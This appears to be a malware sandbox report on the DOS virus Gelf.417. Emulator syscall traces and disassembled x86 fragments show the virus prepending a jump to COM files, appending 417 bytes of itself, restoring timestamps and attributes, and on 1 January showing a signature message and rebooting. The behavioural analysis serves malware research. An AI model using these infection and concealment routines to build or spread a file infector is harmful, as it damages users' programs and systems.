Sample viewer

vx.netlux.org/Virus.DOS.Gelf.417

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:59:19.160457666Z 42 PC: 12a4f | Get date 0x12a4f: cmp dx, 0x101
0x12a53: jne 0x12a62
0x12a55: mov ah, 9
0x12a57: mov dx, 0x281
0x12a5a: int 0x21
0x12a5c: mov ah, 1
0x12a5e: int 0x21
0x12a60: int 0x19
0x12a62: call 0x12a7b
0x12a65: jmp 0x12a8e
0x12a67: add byte ptr [bx + si], al
0x12a69: call 0x12a7b
0x12a6c: mov ah, 0x40
0x12a6e: mov cx, 0x1a1
0x12a71: lea dx, word ptr [bp + 0x103]
0x12a75: int 0x21
0x12a77: call 0x12a7b
0x12a7a: ret
0x12a7b: mov bx, word ptr ds:[bp + 0x127]
0x12a80: lea si, word ptr [bp + 0x14e]
2018-12-17T22:59:19.163839451Z 26 PC: 12a9f | Set disk transfer address
2018-12-17T22:59:19.166292151Z 71 PC: 12aa8 | Get current directory
2018-12-17T22:59:19.170768153Z 78 PC: 12ab3 | Find first file
2018-12-17T22:59:19.177778849Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.19518362Z 61 PC: 12ad2 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:59:19.202143209Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.209114872Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.211389307Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.21414712Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.223043439Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.226277277Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.233391127Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.23862364Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.241498163Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.250725254Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.254193072Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.265692885Z 61 PC: 12ad2 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:59:19.273858671Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.28071677Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.282282413Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.28599465Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.289200274Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.291014684Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.294726931Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.300343828Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.302608323Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.311486108Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.31539793Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.325902322Z 61 PC: 12ad2 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:59:19.33396249Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.341429784Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.343071921Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.346155777Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.349349108Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.351044695Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.354260428Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.36032161Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.362057131Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.370162715Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.373614492Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.385240122Z 61 PC: 12ad2 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:59:19.392572211Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.400749059Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.402321143Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.404707579Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.40853387Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.410072993Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.413224705Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.419404009Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.425006749Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.433162597Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.437580009Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.448336625Z 61 PC: 12ad2 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:59:19.461079464Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.468222018Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.470700215Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.47322487Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.476325578Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.480034638Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.483035508Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.488233998Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.491212576Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.49917478Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.502160943Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.513771724Z 61 PC: 12ad2 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:59:19.520978829Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.528570086Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.531838999Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.535293101Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.544690723Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.546511786Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.555017822Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.56045474Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.562345533Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.57198543Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.575024953Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.585530107Z 61 PC: 12ad2 | Open file (Filename = 'PAH.COM')
2018-12-17T22:59:19.593755525Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.601631146Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:59:19.603470734Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-17T22:59:19.606955613Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-17T22:59:19.610435453Z 66 PC: 12b1d | Move file pointer
2018-12-17T22:59:19.612250535Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:59:19.615608546Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.621847581Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.623705173Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.631964946Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.635966416Z 67 PC: 12ac4 | Get or set file attributes
2018-12-17T22:59:19.647178368Z 61 PC: 12ad2 | Open file (Filename = 'TEST.COM')
2018-12-17T22:59:19.654571984Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:59:19.662923529Z 67 PC: 12b38 | Get or set file attributes
2018-12-17T22:59:19.669020238Z 87 PC: 12b47 | Get or set file date and time
2018-12-17T22:59:19.671078837Z 62 PC: 12b4b | Close file
2018-12-17T22:59:19.679922858Z 79 PC: 12ab3 | Find next file
2018-12-17T22:59:19.683213322Z 59 PC: 12b63 | Change current directory
2018-12-17T22:59:19.687993686Z 59 PC: 12b6f | Change current directory
2018-12-17T22:59:19.692842198Z 26 PC: 12b57 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13166,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:37:37.626941388Z 42 PC: 12a4f | Get date 0x12a4f: cmp dx, 0x101
0x12a53: jne 0x12a62
0x12a55: mov ah, 9
0x12a57: mov dx, 0x281
0x12a5a: int 0x21
0x12a5c: mov ah, 1
0x12a5e: int 0x21
0x12a60: int 0x19
0x12a62: call 0x12a7b
0x12a65: jmp 0x12a8e
0x12a67: add byte ptr [bx + si], al
0x12a69: call 0x12a7b
0x12a6c: mov ah, 0x40
0x12a6e: mov cx, 0x1a1
0x12a71: lea dx, word ptr [bp + 0x103]
0x12a75: int 0x21
0x12a77: call 0x12a7b
0x12a7a: ret
0x12a7b: mov bx, word ptr ds:[bp + 0x127]
0x12a80: lea si, word ptr [bp + 0x14e]
2018-12-25T12:37:37.630127326Z 9 PC: 12a5c | Display string (String= '[Gelf] Virus written by EXE-Gency!')
2018-12-25T12:37:37.632485662Z 1 PC: 12a60 | Character input

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13166,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:37:37.638263185Z 42 PC: 12a4f | Get date 0x12a4f: cmp dx, 0x101
0x12a53: jne 0x12a62
0x12a55: mov ah, 9
0x12a57: mov dx, 0x281
0x12a5a: int 0x21
0x12a5c: mov ah, 1
0x12a5e: int 0x21
0x12a60: int 0x19
0x12a62: call 0x12a7b
0x12a65: jmp 0x12a8e
0x12a67: add byte ptr [bx + si], al
0x12a69: call 0x12a7b
0x12a6c: mov ah, 0x40
0x12a6e: mov cx, 0x1a1
0x12a71: lea dx, word ptr [bp + 0x103]
0x12a75: int 0x21
0x12a77: call 0x12a7b
0x12a7a: ret
0x12a7b: mov bx, word ptr ds:[bp + 0x127]
0x12a80: lea si, word ptr [bp + 0x14e]
2018-12-25T12:37:37.64122041Z 26 PC: 12a9f | Set disk transfer address
2018-12-25T12:37:37.657377514Z 71 PC: 12aa8 | Get current directory
2018-12-25T12:37:37.660592385Z 78 PC: 12ab3 | Find first file
2018-12-25T12:37:37.668199388Z 67 PC: 12ac4 | Get or set file attributes
2018-12-25T12:37:37.695211934Z 61 PC: 12ad2 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:37:37.710572984Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:37:37.718131329Z 66 PC: 12af5 | Move file pointer
2018-12-25T12:37:37.721086829Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-25T12:37:37.723558006Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-25T12:37:37.904361652Z 66 PC: 12b1d | Move file pointer
2018-12-25T12:37:37.906809972Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:37:37.91280584Z 67 PC: 12b38 | Get or set file attributes
2018-12-25T12:37:37.916639347Z 87 PC: 12b47 | Get or set file date and time
2018-12-25T12:37:37.917960457Z 62 PC: 12b4b | Close file
2018-12-25T12:37:38.048610258Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.051571043Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.263143319Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.271705328Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.279052524Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.280714581Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.28409708Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.286232623Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.287878373Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.291910033Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.297873197Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.299407672Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.427656323Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.430788509Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.556735783Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.563563328Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.572617553Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.574166806Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.576556335Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.596521037Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.598498321Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.601563707Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.607687399Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.609916401Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.708410544Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.714113561Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.728333576Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.735683239Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.745917395Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.748274381Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.751506071Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.756685667Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.758817354Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.764029121Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.770634582Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.772493533Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.781739569Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.785073338Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.797756428Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.805789785Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.814236631Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.817461431Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.82080231Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.825612382Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.828497042Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.832173378Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.837737889Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.840581227Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.849683738Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.853035042Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.86419217Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.873082781Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.880514949Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.882528397Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.886576737Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.895988338Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.897965403Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.906516162Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.913229784Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.915355059Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.925322482Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.928975007Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.940138875Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.947898676Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.956542855Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.958569837Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.961488545Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.974598351Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.976261573Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.979283286Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.9856613Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.988097453Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.996489592Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.000576902Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:39.011884913Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:39.019525896Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:39.022774953Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:39.029429389Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:39.031473606Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:39.039469128Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.044339286Z 59 PC: 12b63 | Change current directory
2018-12-25T12:37:39.049256812Z 59 PC: 12b6f | Change current directory
2018-12-25T12:37:39.054008347Z 26 PC: 12b57 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13166,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:37:37.724358328Z 42 PC: 12a4f | Get date 0x12a4f: cmp dx, 0x101
0x12a53: jne 0x12a62
0x12a55: mov ah, 9
0x12a57: mov dx, 0x281
0x12a5a: int 0x21
0x12a5c: mov ah, 1
0x12a5e: int 0x21
0x12a60: int 0x19
0x12a62: call 0x12a7b
0x12a65: jmp 0x12a8e
0x12a67: add byte ptr [bx + si], al
0x12a69: call 0x12a7b
0x12a6c: mov ah, 0x40
0x12a6e: mov cx, 0x1a1
0x12a71: lea dx, word ptr [bp + 0x103]
0x12a75: int 0x21
0x12a77: call 0x12a7b
0x12a7a: ret
0x12a7b: mov bx, word ptr ds:[bp + 0x127]
0x12a80: lea si, word ptr [bp + 0x14e]
2018-12-25T12:37:37.72652761Z 9 PC: 12a5c | Display string (String= '[Gelf] Virus written by EXE-Gency!')
2018-12-25T12:37:37.728283902Z 1 PC: 12a60 | Character input

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13166,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:37:37.729739451Z 42 PC: 12a4f | Get date 0x12a4f: cmp dx, 0x101
0x12a53: jne 0x12a62
0x12a55: mov ah, 9
0x12a57: mov dx, 0x281
0x12a5a: int 0x21
0x12a5c: mov ah, 1
0x12a5e: int 0x21
0x12a60: int 0x19
0x12a62: call 0x12a7b
0x12a65: jmp 0x12a8e
0x12a67: add byte ptr [bx + si], al
0x12a69: call 0x12a7b
0x12a6c: mov ah, 0x40
0x12a6e: mov cx, 0x1a1
0x12a71: lea dx, word ptr [bp + 0x103]
0x12a75: int 0x21
0x12a77: call 0x12a7b
0x12a7a: ret
0x12a7b: mov bx, word ptr ds:[bp + 0x127]
0x12a80: lea si, word ptr [bp + 0x14e]
2018-12-25T12:37:37.732590251Z 26 PC: 12a9f | Set disk transfer address
2018-12-25T12:37:37.733892849Z 71 PC: 12aa8 | Get current directory
2018-12-25T12:37:37.736887435Z 78 PC: 12ab3 | Find first file
2018-12-25T12:37:37.743324559Z 67 PC: 12ac4 | Get or set file attributes
2018-12-25T12:37:38.708334102Z 61 PC: 12ad2 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:37:38.716275014Z 63 PC: 12ae0 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:37:38.723435219Z 66 PC: 12af5 | Move file pointer
2018-12-25T12:37:38.726091184Z 44 PC: 12b03 | Get time 0x12b03: add dl, dh
0x12b05: cmp bx, 0
0x12b08: je 0x12aff
0x12b0a: mov word ptr ds:[bp + 0x127], bx
0x12b0f: call 0x22a69
0x12b12: mov ax, 0x4200
0x12b15: mov cx, 0
0x12b18: mov dx, 0
0x12b1b: int 0x21
0x12b1d: jb 0x12b2a
0x12b1f: mov ah, 0x40
0x12b21: mov cx, 3
0x12b24: lea dx, word ptr [bp + 0x27e]
0x12b28: int 0x21
0x12b2a: mov ax, 0x4301
0x12b2d: mov cx, word ptr ds:[bp + 0x2b9]
0x12b32: lea dx, word ptr [bp + 0x2c2]
0x12b36: int 0x21
0x12b38: mov ax, 0x5701
0x12b3b: mov cx, word ptr ds:[bp + 0x2ba]
2018-12-25T12:37:38.730766569Z 64 PC: 12a77 | Write file or device (Write 417 bytes on handle 5)
2018-12-25T12:37:38.744115866Z 66 PC: 12b1d | Move file pointer
2018-12-25T12:37:38.749412002Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:37:38.755290355Z 67 PC: 12b38 | Get or set file attributes
2018-12-25T12:37:38.759386608Z 87 PC: 12b47 | Get or set file date and time
2018-12-25T12:37:38.761142242Z 62 PC: 12b4b | Close file
2018-12-25T12:37:38.768626294Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.772119105Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.78397743Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.793102663Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.800688958Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.803727651Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.807163526Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.810592553Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.812551146Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.81684827Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.822982104Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.825094369Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.835054698Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.838303573Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.850238833Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.858365436Z 63 PC: 12ae0 | Read file or device (See above)
